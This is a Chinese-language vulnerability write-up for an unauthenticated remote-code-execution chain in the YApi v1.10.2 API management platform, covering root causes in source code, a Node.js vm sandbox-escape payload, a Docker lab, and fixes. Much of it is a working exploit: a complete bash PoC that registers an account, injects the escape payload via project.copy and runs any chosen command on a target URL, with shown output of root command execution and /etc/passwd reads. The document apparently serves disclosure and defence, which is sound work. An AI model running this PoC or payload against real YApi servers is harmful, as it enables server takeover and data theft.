YApi v1.10.2 未授权RCE漏洞分析与利用教学文档
一、漏洞概述
YApi是去哪儿网开源的API管理平台,在国内中小团队中装机量较大。v1.10.2及之前版本存在一条无需任何预置账号即可实现远程代码执行的攻击链,核心问题在于服务端脚本执行缺乏总开关,叠加多处对象级权限缺失。
二、漏洞根因汇总
| 编号 | 缺陷描述 | 位置 | CWE类型 |
|---|---|---|---|
| 1 | project.copy不校验源项目权限且接受脚本字段 | server/controllers/project.js:281 | CWE-862 Missing Authorization |
| 2 | /api/project/token缺少对象级鉴权 | server/controllers/project.js:1010 | CWE-862 Missing Authorization |
| 3 | v1.10.2默认执行pre_script/after_script | common/postmanLib.js:280 | CWE-94 Code Injection |
| 4 | Node.js vm模块非安全沙箱 | common/postmanLib.js:170 | CWE-265 Privilege Issues |
三、攻击面分析
3.1 入口一:无需登录即可注册
/api/user/reg 位于 ignoreRouter 白名单中,调用时不需要先登录:
// server/controllers/base.js
let ignoreRouter = [
'/api/user/login_by_token',
'/api/user/login',
'/api/user/reg', // ← 在白名单中
'/api/user/status',
'/api/user/logout',
'/api/user/avatar',
'/api/user/login_by_ldap'
];
注册请求示例:
POST /api/user/reg HTTP/1.1
Content-Type: application/json
{"email":"attacker@evil.com","password":"Pass1234!","username":"attacker"}
探活方式:通过 /api/user/status 接口检查 canRegister 字段是否为 true:
$ curl http://target/api/user/status
{"errcode":40011,"errmsg":"请登录...","data":null,"ladp":false,"canRegister":true}
YApi默认配置中 closeRegister: false,绝大多数公网实例满足前置条件。
3.2 入口二:凭token触发的open API
部分接口支持项目级token鉴权,绕过用户登录态:
// server/controllers/base.js
let openApiRouter = [
'/api/open/run_auto_test', // ← 关键:自动化测试入口
'/api/open/import_data',
'/api/interface/add',
'/api/col/add_case',
'/api/project/up',
// ...
];
if (openApiRouter.indexOf(ctx.path) > -1) {
let token = ctx.query.token || ctx.request.body.token;
if (token && (await this.getProjectIdByToken(token))) {
this.$auth = true; // ← 只验证token属于哪个项目,不验证用户
return;
}
}
/api/project/token 同样缺少对象级鉴权:
// server/controllers/project.js:1010
async token(ctx) {
let project_id = ctx.params.project_id;
let project = await this.Model.Project.findById(project_id);
if (!project) return (ctx.body = yapi.commons.resReturn(null, 404, '项目不存在'));
// 任何登录用户都能拿到任意项目的token
let tokenData = await this.Model.Token.find({project_id});
return (ctx.body = yapi.commons.resReturn({ token: tokenData[0].token }, 0));
}
四、核心缺陷:project.copy对象级权限缺失
4.1 源码分析
// server/controllers/project.js:281 (v1.10.2)
async copy(ctx) {
let params = ctx.params;
let copyId = params._id;
if ((await this.checkAuth(params.group_id, 'group', 'edit')) !== true) {
return (ctx.body = yapi.commons.resReturn(null, 405, '没有权限'));
}
let data = Object.assign(params, {
uid: this.getUid(),
add_time: yapi.commons.time(),
up_time: yapi.commons.time(),
_id: undefined
});
delete data._id;
let result = await this.Model.save(data);
return (ctx.body = yapi.commons.resReturn(result, 0));
}
4.2 三个问题
-
只校验目标group,不校验源项目:第7-9行只检查了
params.group_id(目标)的edit权限,但copyId(源项目)传的是任意项目ID,服务端完全不验证调用者能否访问它。 -
未清理请求体中的脚本字段:
Object.assign(params, {...})把ctx.params原样塞进data,而params里的pre_script/after_script直接进入落库数据。 -
Model.save不做字段白名单:
this.Model.save(data)会把整个data对象写入MongoDB,包括pre_script/after_script这两个危险字段。
4.3 Schema验证
copy的schema显式接受脚本字段,印证这是设计缺陷而非过滤遗漏:
// server/controllers/project.js:67 (v1.10.2)
copy: {
'*name': name,
basepath: basepath,
'*group_id': group_id,
_id: id,
cat,
pre_script: desc,
after_script: desc,
env
}
五、Sink:v1.10.2默认执行服务端脚本
5.1 run_auto_test执行流程
// server/controllers/open.js:190
async runAutoTest(ctx) {
let projectData = await yapi.getProject(project_id);
let cases = await this.Model.Case.find({ col_id: id });
for (let item of cases) {
// 注入项目的脚本
item.pre_script = projectData.pre_script;
item.after_script = projectData.after_script;
let options = { url: interfaceData.path, method: interfaceData.method };
// 触发 crossRequest → sandbox() → vm.Script
let res = await crossRequest(options, item.pre_script, item.after_script, item.env);
// 结果回显到响应中
list.push({
id: interfaceData._id,
res_body: res.responseData, // ← 命令输出
// ...
});
}
return (ctx.body = yapi.commons.resReturn({...}));
}
5.2 crossRequest中无总开关
// common/postmanLib.js:280 (v1.10.2)
async function crossRequest(options, preScript, afterScript) {
let context = {};
context.request = options;
context.responseData = {};
// 【v1.10.2缺陷】没有scriptEnable检查
if (preScript) context = await sandbox(context, preScript);
/* 实际HTTP请求省略 */
if (afterScript) context = await sandbox(context, afterScript);
return context.responseData;
}
5.3 v1.11.0修复版本对比
// common/postmanLib.js (v1.11.0+)
let scriptEnable = false;
try { scriptEnable = yapi.WEBCONFIG.scriptEnable === true; } catch (err) {}
if (preScript && scriptEnable) context = await sandbox(context, preScript);
if (afterScript && scriptEnable) context = await sandbox(context, afterScript);
六、Node.js vm沙箱逃逸
6.1 sandbox函数实现
// common/postmanLib.js:170
function sandbox(context, script) {
try {
if (!script) return context;
const ctx = vm.createContext(context);
new vm.Script(script).runInContext(ctx, { timeout: 5000 });
return ctx;
} catch (err) { return context; }
}
6.2 逃逸原理
Node.js官方明确说明:"The vm module is not a security mechanism. Do not use it to run untrusted code."
vm.createContext 只是把传入的对象作为新上下文的全局对象,原型链仍指向宿主进程。逃逸步骤:
// 步骤1: this → 上下文 → Object.prototype → 拿到Function构造器
var f = this.constructor.constructor;
// 步骤2: Function("return process")() → 拿到宿主进程的process对象
var p = f("return process")();
// 步骤3: 通过process.mainModule.require加载child_process
p.mainModule.require("child_process").execSync("whoami");
6.3 完整Payload(注入到after_script)
try {
var p = this.constructor.constructor("return process")();
var r = p.mainModule.require("child_process").execSync("whoami").toString();
responseData = { output: r }; // 写入responseData会回显
} catch(e) {
responseData = { error: e.message };
}
七、完整攻击链
7.1 攻击步骤
1. 匿名注册 → 获取私有group → 创建源项目
2. project.copy注入after_script
3. 添加接口 + 测试用例
4. 获取项目token
5. run_auto_test触发(无需cookie)
6. vm沙箱逃逸 → OS RCE
7.2 数据流
[攻击者] [YApi Server]
│ │
│ ① POST /api/user/reg │
│ ──────────────────────────────> │ 自动登录,分配group
│ │
│ ② POST /api/project/add │
│ ──────────────────────────────> │ src_id = 23
│ │
│ ③ POST /api/project/copy │
│ { "_id": 23, │
│ "after_script": vm逃逸代码 │
│ } │
│ ──────────────────────────────> │ 【缺陷】不校验源项目权限
│ │ 【缺陷】脚本直接落库
│ │ rce_id = 29
│ │
│ ④ POST /api/interface/add │
│ ⑤ POST /api/col/add_case │
│ ⑥ GET /api/project/token │ ← 同样无对象级鉴权
│ ──────────────────────────────> │ token = 87062a9dfab6a8f6
│ │
│ ⑦ GET /api/open/run_auto_test │
│ ?id=20&project_id=29 │
│ &token=87062a9dfab6a8f6 │
│ ──────────────────────────────> │ 【缺陷】仅token鉴权
│ │ 读取after_script
│ │ 调crossRequest → vm.Script
│ │ 沙箱逃逸 → execSync
│ │
│ <───────────────────────────── │ res_body.output = "root"
八、PoC脚本
#!/usr/bin/env bash
# YApi v1.10.2 未授权RCE PoC
# 用法:bash poc.sh [target] [cmd]
# bash poc.sh http://target:3000 "id && uname -a"
set -e
TARGET="${1:-http://127.0.0.1:3002}"
CMD="${2:-whoami}"
COOKIE="/tmp/yapi_
$$
"
# ① 匿名注册
USER="atk_$(date +%s)"
REG=$(curl -sS -c "$COOKIE" -X POST "$TARGET/api/user/reg" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${USER}@e.com\",\"password\":\"Pass1234!\",\"username\":\"$USER\"}")
UID=$(echo "$REG" | python3 -c "import sys,json;print(json.load(sys.stdin)['data']['uid'])")
echo "[+] uid=$UID"
# ② 拿私有group
GID=$(curl -sS -b "$COOKIE" "$TARGET/api/group/get_mygroup" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data'][0]['_id'])")
echo "[+] group_id=$GID"
# ③ 创建源项目
SRC_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/project/add" \
-H "Content-Type: application/json" \
-d "{\"name\":\"src\",\"basepath\":\"/s\",\"group_id\":\"$GID\",\"project_type\":\"private\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")
echo "[+] src_id=$SRC_ID"
# ④ project.copy注入vm逃逸payload
PAYLOAD='try{var p=this.constructor.constructor("return process")();var r=p.mainModule.require("child_process").execSync("'"$CMD"'").toString();responseData={"output":r}}catch(e){responseData={"error":e.message}}'
RCE_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/project/copy" \
-H "Content-Type: application/json" \
-d "{\"_id\":\"$SRC_ID\",\"name\":\"rce\",\"basepath\":\"/poc\",\"group_id\":\"$GID\",\"project_type\":\"private\",\"cat\":[],\"after_script\":\"$PAYLOAD\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")
echo "[+] rce_id=$RCE_ID"
# ⑤ 加接口 + 测试集 + 用例
IFACE_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/interface/add" \
-H "Content-Type: application/json" \
-d "{\"project_id\":\"$RCE_ID\",\"title\":\"p\",\"path\":\"/p\",\"method\":\"GET\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")
COL_ID=$(curl -sS -b "$COOKIE" -X POST "$TARGET/api/col/add" \
-H "Content-Type: application/json" \
-d "{\"project_id\":\"$RCE_ID\",\"name\":\"p\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data']['_id'])")
curl -sS -b "$COOKIE" -X POST "$TARGET/api/col/add_case" \
-H "Content-Type: application/json" \
-d "{\"col_id\":\"$COL_ID\",\"interface_id\":\"$IFACE_ID\",\"name\":\"p\",\"code\":\"200\"}" >/dev/null
# ⑥ 拿项目token(同样无对象级鉴权)
TOKEN=$(curl -sS -b "$COOKIE" "$TARGET/api/project/token?project_id=$RCE_ID" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['data']['token'])")
echo "[+] token=${TOKEN:0:16}..."
# ⑦ 触发run_auto_test(无需cookie)
RES=$(curl -sS "$TARGET/api/open/run_auto_test?id=$COL_ID&project_id=$RCE_ID&token=$TOKEN&mode=json")
OUT=$(echo "$RES" | python3 -c "
import sys,json
try:
d=json.load(sys.stdin)
b=d['data']['list'][0]['res_body']
if isinstance(b,str): b=json.loads(b)
print(b.get('output',b.get('error','(no output)')))
except Exception as e: print('parse error:',e)")
echo "[+] command: $CMD"
echo "[+] output: $OUT"
rm -f "$COOKIE"
九、环境搭建
9.1 目录结构
docker/
├── docker-compose.yml
├── Dockerfile
├── config.json
└── entrypoint.sh
9.2 docker-compose.yml
version: '3.8'
services:
mongo:
image: mongo:4.4
restart: unless-stopped
volumes:
- mongo_data:/data/db
yapi:
build: .
restart: unless-stopped
ports:
- "3002:3002"
depends_on:
- mongo
volumes:
mongo_data:
9.3 Dockerfile
FROM node:12-buster
WORKDIR /yapi
RUN git clone --depth 1 --branch v1.10.2 https://github.com/YMFE/yapi.git . \
&& npm install --production --no-package-lock --ignore-scripts \
--registry https://registry.npmjs.org \
&& rm -rf /root/.npm /tmp/*
COPY config.json /config.json
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 3002
ENTRYPOINT ["/entrypoint.sh"]
9.4 config.json(保持默认closeRegister: false)
{
"port": "3002",
"adminAccount": "admin@admin.com",
"timeout": 120000,
"closeRegister": false,
"db": { "servername": "mongo", "DATABASE": "yapi", "port": 27017, "authSource": "" },
"mail": { "enable": false }
}
9.5 启动命令
cd docker
docker compose up -d --build
# 等待约2分钟完成初始化
curl http://127.0.0.1:3002/api/user/status
# {"errcode":40011,"errmsg":"请登录...","data":null,"ladp":false,"canRegister":true}
十、复现验证
10.1 执行whoami
$ bash poc.sh http://127.0.0.1:3002 whoami
[+] uid=18
[+] group_id=11
[+] src_id=11
[+] rce_id=17
[+] token=ca015d70fafc0aad...
[+] command: whoami
[+] output: root
10.2 执行id && uname -a
$ bash poc.sh http://127.0.0.1:3002 "id && uname -a"
[+] command: id && uname -a
[+] output: uid=0(root) gid=0(root) groups=0(root)
Linux 0a68349fcb29 6.6.87.2-microsoft-standard-WSL2 #1 SMP ...
10.3 读取/etc/passwd
$ bash poc.sh http://127.0.0.1:3002 "cat /etc/passwd | head -3"
[+] command: cat /etc/passwd | head -3
[+] output: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin:/usr/sbin/nologin
三次验证均以Node进程权限(本例中为root)执行,证明可执行任意系统命令并获取输出。
十一、修复建议
11.1 project.copy加源项目权限校验(紧急)
// server/controllers/project.js copy()中添加
if ((await this.checkAuth(copyId, 'project', 'view')) !== true) {
return (ctx.body = yapi.commons.resReturn(null, 405, '没有权限'));
}
11.2 project.copy拒绝请求体中的脚本字段
delete params.pre_script;
delete params.after_script;
delete params.project_mock_script;
11.3 /api/project/token加对象级权限
if ((await this.checkAuth(project_id, 'project', 'view')) !== true) {
return (ctx.body = yapi.commons.resReturn(null, 405, '没有权限'));
}
11.4 脚本执行加总开关并默认关闭
v1.11.0已加入scriptEnable,建议回移到所有维护版本,默认值false。
11.5 整体加固
- 默认关闭注册:
closeRegister: true - 用vm2或isolated-vm替代原生vm
- 以非root用户运行Node.js进程
- 对所有project/group写操作做对象级鉴权审查
十二、时间线
| 时间 | 事件 |
|---|---|
| 2022-11-01 | YApi v1.11.0提交59bade3修复,加入scriptEnable开关 |
| 2026-06-04 | 本次审计发现完整未授权RCE链并本地验证 |
十三、参考
- YApi官方仓库:https://github.com/YMFE/yapi
- Node.js vm安全警告:https://nodejs.org/api/vm.html
- 修复提交59bade3:加入scriptEnable
- 修复提交432cdfe:修复Mongo注入获取token